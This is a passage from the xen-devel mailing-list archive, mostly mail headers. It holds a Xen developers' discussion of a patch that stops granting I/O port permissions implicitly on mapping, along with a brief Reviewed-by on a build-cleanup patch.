 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
 <al-G7l2IM736d-Q6@macbook.local>
 <05425d51-965f-4176-a297-c5e6f966d886@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <05425d51-965f-4176-a297-c5e6f966d886@suse.com>

On Tue, Jul 21, 2026 at 04:57:36PM +0200, Jan Beulich wrote:
> On 21.07.2026 16:49, Roger Pau MonnÃ© wrote:
> > On Tue, Jun 30, 2026 at 03:54:04PM +0200, Jan Beulich wrote:
> >> Rather than granting permissions when mapping (an operation that DM-s are
> >> allowed to carry out, while they can't invoke ioport-permission), check
> >> whether permissions actually were granted when adding a mapping. This then
> >> also allows relaxing the necessary locking.
> >>
> >> While no longer granting permissions upon mapping is "only" at risk of
> >> breaking guests, no longer revoking permissions upon unmapping strictly
> >> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
> >> else a security issue would arise. In-tree code already does so.
> >>
> >> While there switch to using %pd in the two log messages.
> >>
> >> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
> >> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> > 
> > It's difficult to not think about someone appearing in 3 or 4 years
> > complaining that this change in behavior has caused them a security
> > issue, but I do agree that the previous behavior was inconsistent at
> > best:
> 
> A positive aspect here is that the similar change for MMIO went without
> any fallout, as far as I'm aware.
> 
> > Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>
> 
> Thanks, but ...
> 
> > However you need to bump XEN_DOMCTL_INTERFACE_VERSION to note the ABI
> > change as we are in 4.23 now.
> 
> ... there's no interface change here. A bump therefore won't buy us
> anything. I'm hesitant to take your ack as long as we disagree here.

It's not an interface change, but it's a change in behavior of an
existing hypercall in a security-relevant way, so people would
generally need to be aware of it, just in case.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:13:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:13:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367872.1617532 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmC9T-0003xK-CZ; Tue, 21 Jul 2026 15:12:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367872.1617532; Tue, 21 Jul 2026 15:12:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmC9T-0003xD-9L; Tue, 21 Jul 2026 15:12:59 +0000
Received: by outflank-mailman (input) for mailman id 1367872;
 Tue, 21 Jul 2026 15:12:57 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wmC9R-0003x7-8X
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:12:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmC9Q-00CzvD-I1
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:12:56 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a5f8c6a-e002-0a2a0a5209dd-0a2a4505922e-44
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:12:56 +0200
Received: from [52.101.62.58]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a5f8c74-4cb1-0a2a45050019-34653e3a2f97-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:12:55 +0200
Received: from CH0PR03CA0045.namprd03.prod.outlook.com (2603:10b6:610:b3::20)
 by IA0PPFDDA81179A.namprd12.prod.outlook.com
 (2603:10b6:20f:fc04::be9) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.10; Tue, 21 Jul
 2026 15:12:48 +0000
Received: from DS3PEPF0000C381.namprd04.prod.outlook.com
 (2603:10b6:610:b3:cafe::9e) by CH0PR03CA0045.outlook.office365.com
 (2603:10b6:610:b3::20) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Tue,
 21 Jul 2026 15:12:47 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 DS3PEPF0000C381.mail.protection.outlook.com (10.167.23.11) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Tue, 21 Jul 2026 15:12:47 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 21 Jul
 2026 10:12:47 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Tue, 21 Jul 2026 10:12:45 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=V67yXsiMLtxZvM4GspuaZ+eMqfgqbxT5aHorGJQEsDINfHPkRj4DEHEhpR7evMQGrnQ74b6BLG2Od5sMHSgUvr2dZnr8yFJEJnE+OzDOpHEh/tX2D3vVCmjB1Ksi3LDR88MCJ5uBRdK+hWwsIrW+zdwl8xX6X+I+S7S8fjOwm6ycij4LQOlSrl3K742H9/L5u128xhNrA2lLypa8UAYwLywL6YrmsD1VKQ+DQRBJMt83iKspWSIpHXWa2xqv0WQ9caOYPJzmRyoIrmo6ATSZuNaAXofRqVEiYyz457pNDycgweHuLzM7MxZwI/C6lT44DYbMBUKE6h63sz4vji7u7w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=jYfyL0TRa+sLz5IgV3XFwlR2kxbsGJdCfgcvdujlGuA=;
 b=vvcehsJk9MzgSJ0EZxhTbb/mF7wXnvEldb9qFo5cFkl0EH8Pyrbfv6aY2x2ABZH/c4t1GIsV3olwdKCVuoyQjoMedtGbUxaEywKboZflawD/8ge49QIc3bxGgfHvAHUlG+ypRDjrYlx8e5+uzzy0AiAN6PZ0hvVRXQ/cfdxGDmuRSLrt104gaNEJJuGyZiZrtxR3D5tfYG1e1kz1W5s7F7tq0qgkZcvM1f8KY7+NEngXy1mwDBtW2PmxyKzizB9htoN+CbwljHWM4LolQ+5IfHFpOjXNLKBlluUeHhO6DXInqAAJWbLJNmMfiQerVohO1LlnP6RZxtA4Sr+B1PEm/Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=suse.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=jYfyL0TRa+sLz5IgV3XFwlR2kxbsGJdCfgcvdujlGuA=;
 b=gZIpv0YFydyn8wEI5GIPxVe/LAnFtDIqxk+mIvGNlmGrFjkt8rsJCbpjLA7evvx4xZ4O9a/CLY1cQ5cpZUyYH1dIL2QzAmEXpUsnvjtobDn9pj/jHAfu5LzCHYb7w7SMa+lIMXKtSNU0NhMGzDVYmdTBuH0dxZiKalskWnbiTz8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <872e19e0-8622-4962-88a2-efcd64a20093@amd.com>
Date: Tue, 21 Jul 2026 17:12:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] non-x86: sync tidying logic at end of linking
To: Jan Beulich <jbeulich@suse.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Julien Grall <julien@xen.org>, Stefano Stabellini
	<sstabellini@kernel.org>, Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>, Alistair Francis
	<alistair.francis@wdc.com>, Connor Davis <connojdavis@gmail.com>, Oleksii
 Kurochko <oleksii.kurochko@gmail.com>, Timothy Pearson
	<tpearson@raptorengineering.com>
References: <c9109e8c-e471-4f4c-b58b-fdfe3cb044d2@suse.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <c9109e8c-e471-4f4c-b58b-fdfe3cb044d2@suse.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS3PEPF0000C381:EE_|IA0PPFDDA81179A:EE_
X-MS-Office365-Filtering-Correlation-Id: 51f84ed9-0044-441b-5e62-08dee73a860d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|7416014|376014|1800799024|23010399003|11063799006|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	D2v70BedwwOhrH5NPPLK0W4Hqb0+nJ8GTtdOtJcTAtRGs5l3TOQTzwxzImLws2c6i9VYDpc0/2kbFYDm8AuMFU6vEkNY5ZZ5cMDi3ojlfb0PSNPVbRgXkTm6nodP7FlnYre2kx31EBMitqLbFHcEu0HsVK06mEEHu6RbnoDXWAXV39I7xYrhjtYz4wfkbC3SPPtDhBPVQ383ZCdkXTyvzt5HB9LLg1TegQpiSuq/4KD50ymax4hZxpQrqMAWsXtyyB68I78TmKSRUr5PurOAXtpmeuw37zH/sJPOKi4vR1aj86czaYyUibd7ekl/ZNY2p1nhq8mqWHRe8obh1JR9cgoy9wKBStTHyAN6+fJDWBTFIc6EExRyWlSN37Y2HGFmz0ULeS0fegY4f2y6l3G0W40RMcOYBLAJ3MwhuUQHOvYsfRDD0WfX78NIIeooSogxPV+qKl1nlmxQRBXjMLcD+akkToOQwcwp9LhB5az5vyLayNHcFS+Ci0oiK7CZYbcEr+EXVkLis55b6zHo1GoTubkgyGAUffBzBlb7QOBWQwO6t4UrmORxQOCO92hYqLW8cendRrTDw9x0g8XlqXMLkMhELP6ygSoiGiXJlfrWY0qTl8P8KIv+m44K+4x4M1LXVrjaq37RC5LmIvNbz8Az4Vq67JjwTvqoI0T+YBcrCPtRdR99wdy6gdyqZPszqqrmwLeKjnsvYseM9hbKI8XQHQ==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(7416014)(376014)(1800799024)(23010399003)(11063799006)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	h/Q8iu472gdWWuYSp3Z6rmI5anpRdd+Z/77FeOJR03FYQZ+yZ/D3XVG6sxS/lM/QWfyd6RE6WNMjV0rqbMpEhqBlhP3mpoFI/qS3zGTbFCLSBPomV2bpDgEtFLQSm8IoH6vv/Wa2aexmlfjFGH2EK1+8+vthZs7abnWX5/YuHl77d/sXg5hKJxRSWvTCGOMe8KpVfve7sALJoEc/R1IedX8HtShgRj+iziYhtquuJ8f2XHHHD7qJAxWW76MzmKchFFIw/UWIpFW79QybktjKnK5SQ9/kh/65GPG075YHfk1PxfSlMkSLPPXr0uKlS/ZbHya71D6x+K+BkCnvE3AbW4ALVxyYDTn8hN9PNey6O/y+K0FmA/5w91w07VYwrUj3dIzNJ9tw7Fnuk7NZHpY/e1l2dHJdrqSyke8QC56JEv1qB5RSepecFobb2QOdlF6+
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 21 Jul 2026 15:12:47.5556
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 51f84ed9-0044-441b-5e62-08dee73a860d
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DS3PEPF0000C381.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA0PPFDDA81179A
X-purgate-ID: tlsNG-c201ff/1784646775-732B32A1-F4255D00/0/0
X-purgate-type: clean
X-purgate-size: 332



On 16-Jun-26 09:52, Jan Beulich wrote:
> Mirror what 761bb575ce97 ("x86: fix build race when generating temporary
> object files") did there to other ports: These ..*.cmd files aren't useful
> to have/keep.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>

~Michal



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:35:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:35:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367887.1617540 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCUk-0007uw-4X; Tue, 21 Jul 2026 15:34:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367887.1617540; Tue, 21 Jul 2026 15:34:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCUk-0007up-1s; Tue, 21 Jul 2026 15:34:58 +0000
Received: by outflank-mailman (input) for mailman id 1367887;
 Tue, 21 Jul 2026 15:34:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmCUi-0007uj-OP
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:34:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCUh-0051jf-U1
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:34:55 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f9192-e002-0a2a0a5209dd-0a2a4504c5f8-12
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:34:55 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f919f-b57f-0a2a45040019-d155dd2bd41d-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:34:55 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47f7444576cso1829198f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 08:34:55 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956a4f24bcsm2490495e9.1.2026.07.21.08.34.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 08:34:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784648095; x=1785252895; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=jIiJWAemF8E0j6HEB1GkV22No2vqU2+PVZhQLu6NU1U=;
        b=YN7bgcET/kRMfpXPKj6u/XQtaw/2MPDSjCwuNlBVGGbaXiZWM9ck86YvD4MULxf6AH
         yzAQZFzaQA09kGsKgSQfcIpIhBIqFvhEQDh34lU/zvAf/tq4JiOGD3cIfsdH/GYt5f7r
         PZxLcbq+mUA4EJVkPOneIlwD5tqRReUT0BiG6Rc88tpyDZOnQg0xz0lAbA+WZYmoNqeE
         z9Q6W4yYZwdI+OBzwg5v5wpyz00xwl2ux3AkEh1C+VPZfxhh/Mlxptd3acEN0VB8ya7T
         rwekUYWtqDRTAj8qfRC21XvwqXJXNwiH+cH7bsisleRjtEzlEl3I/CahOFGIss48frC2
         IWGA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784648095; x=1785252895;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=jIiJWAemF8E0j6HEB1GkV22No2vqU2+PVZhQLu6NU1U=;
        b=pkHqmdvIsfghwNNwLv2TQwn2X0rJl3Oueab/JiyKlnBAluKXeLSW50wANFeeciQfZ6
         L1pHwHp3xQxvRtJb9kz6kFOplHe5uZ3oWIUQZ+61B2I5xUhd6Xvf2eg76Sw2JKSnUQXz
         nitJIYhZYhpilnapRN3ZT9sJC90BWlwvz9BDlWQ4zmx8abQu3sKW6wna9SFOWPLHzZ4I
         pkQX9Vd1epK7zbv+Y4qTYFTle4Fv8yb+03ll+QDzg7G+ndxYWzmUz/h20hSKll+C+W/u
         cjtxwNj4pwU9MtT+HdcLh6/ti8XAohM2w9yt9hFo2D7c2w8iI6YByG9c7Mnt/fXYgpl7
         WDCA==
X-Forwarded-Encrypted: i=1; AHgh+RpKgUc9p7xqu0vkTpnoyfFctkIM3XBPZt07NPUc6QfAiCzdhHvgkIk76zgV1uTEE2gPe9QAES6DFuU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyHa7mS5IB7J4cgV2SRBl6h3ednsJtlcbffSuOFqozkXUFHNI4T
	xFvoLZoq1//Ef/GV8f1pVoeBe0AmLh66WWo8BjzgyirTVFperO+19eqG6lZ/ZKj/rQ==
X-Gm-Gg: AfdE7cl3A2uXfyHyDirgLD0dmnIR8che1i8Yp/SDNt2E6QHFrA/Wq784tffid/bzXB0
	MFJrFXyLnKx42ow6UqWNq8EdGeTKn8bzTjfB7MnWyQCtTZsB3rDSPJsKRw7IJtUyjbaqjG1iPBc
	Ofx6WNUsruUMTYnRJIRZzSOHN2hH96dR0E8lQzDjX93EzcmHyFN1jbF8WV7nw3OKW3B9SkP4FNE
	TxGBHL3b6jbXo2XsULl95HOZIXot2BfgQl5ztoTLpgcOfdtZLWmUg4F5cUZjDAZivGX/Xx/VdXa
	J7uEy5D/Ispp6h/QH2yTlqLgOBGLmOudXIOrafVsCFEpykl46D+g56L56I8Rj4/Br+lgivdDXWp
	WWIlJXD/Egl6LrF2Br6HCKod+oNzbGoXF06sB7VLILcwp0qhsRQ6nZGAj0w9ClsLqeI0G0GzWaE
	/tSBlOjEMUDxpGfzNb8agKAHHx9mIwqBQLh9J5Uqkeu+h2fu8YAId8/EVeI+kYfJnPNaygb3xEa
	kYi
X-Received: by 2002:a05:600c:46ca:b0:495:8a1:7670 with SMTP id 5b1f17b1804b1-4954a5088e5mr207625425e9.35.1784648095243;
        Tue, 21 Jul 2026 08:34:55 -0700 (PDT)
Message-ID: <5653aede-dbff-405d-9df7-2edb7d8180d1@suse.com>
Date: Tue, 21 Jul 2026 17:34:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
 <al-G7l2IM736d-Q6@macbook.local>
 <05425d51-965f-4176-a297-c5e6f966d886@suse.com>
 <al-LGwlNXH5EfsAw@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPx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ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <al-LGwlNXH5EfsAw@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784648095-C38C1B50-FD0D4D4D/0/0
X-purgate-type: clean
X-purgate-size: 2190

On 21.07.2026 17:07, Roger Pau MonnÃ© wrote:
> On Tue, Jul 21, 2026 at 04:57:36PM +0200, Jan Beulich wrote:
>> On 21.07.2026 16:49, Roger Pau MonnÃ© wrote:
>>> On Tue, Jun 30, 2026 at 03:54:04PM +0200, Jan Beulich wrote:
>>>> Rather than granting permissions when mapping (an operation that DM-s are
>>>> allowed to carry out, while they can't invoke ioport-permission), check
>>>> whether permissions actually were granted when adding a mapping. This then
>>>> also allows relaxing the necessary locking.
>>>>
>>>> While no longer granting permissions upon mapping is "only" at risk of
>>>> breaking guests, no longer revoking permissions upon unmapping strictly
>>>> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
>>>> else a security issue would arise. In-tree code already does so.
>>>>
>>>> While there switch to using %pd in the two log messages.
>>>>
>>>> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
>>>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>>>
>>> It's difficult to not think about someone appearing in 3 or 4 years
>>> complaining that this change in behavior has caused them a security
>>> issue, but I do agree that the previous behavior was inconsistent at
>>> best:
>>
>> A positive aspect here is that the similar change for MMIO went without
>> any fallout, as far as I'm aware.
>>
>>> Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>
>>
>> Thanks, but ...
>>
>>> However you need to bump XEN_DOMCTL_INTERFACE_VERSION to note the ABI
>>> change as we are in 4.23 now.
>>
>> ... there's no interface change here. A bump therefore won't buy us
>> anything. I'm hesitant to take your ack as long as we disagree here.
> 
> It's not an interface change, but it's a change in behavior of an
> existing hypercall in a security-relevant way, so people would
> generally need to be aware of it, just in case.

But the interface version bump won't necessarily make anyone aware. Things
will continue to build as before, and there's also no binary incompatibility.
The best way of making people aware is the ChangeLog entry that iirc you had
asked for (and that's now there).

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:36:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:36:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367894.1617550 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCWP-0008P4-Ez; Tue, 21 Jul 2026 15:36:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367894.1617550; Tue, 21 Jul 2026 15:36:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCWP-0008Ox-By; Tue, 21 Jul 2026 15:36:41 +0000
Received: by outflank-mailman (input) for mailman id 1367894;
 Tue, 21 Jul 2026 15:36:40 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmCWO-0008Or-K9
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:36:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCWN-002xcK-QF
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:36:39 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f91ee-bab6-0a2a0a5309dd-0a2a450b8d72-46
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:36:39 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f9207-b7e8-0a2a450b0019-d155dd2acd7b-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:36:39 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47c2b362ee2so10129438f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 08:36:39 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f67466e09sm43576806f8f.21.2026.07.21.08.36.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 08:36:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
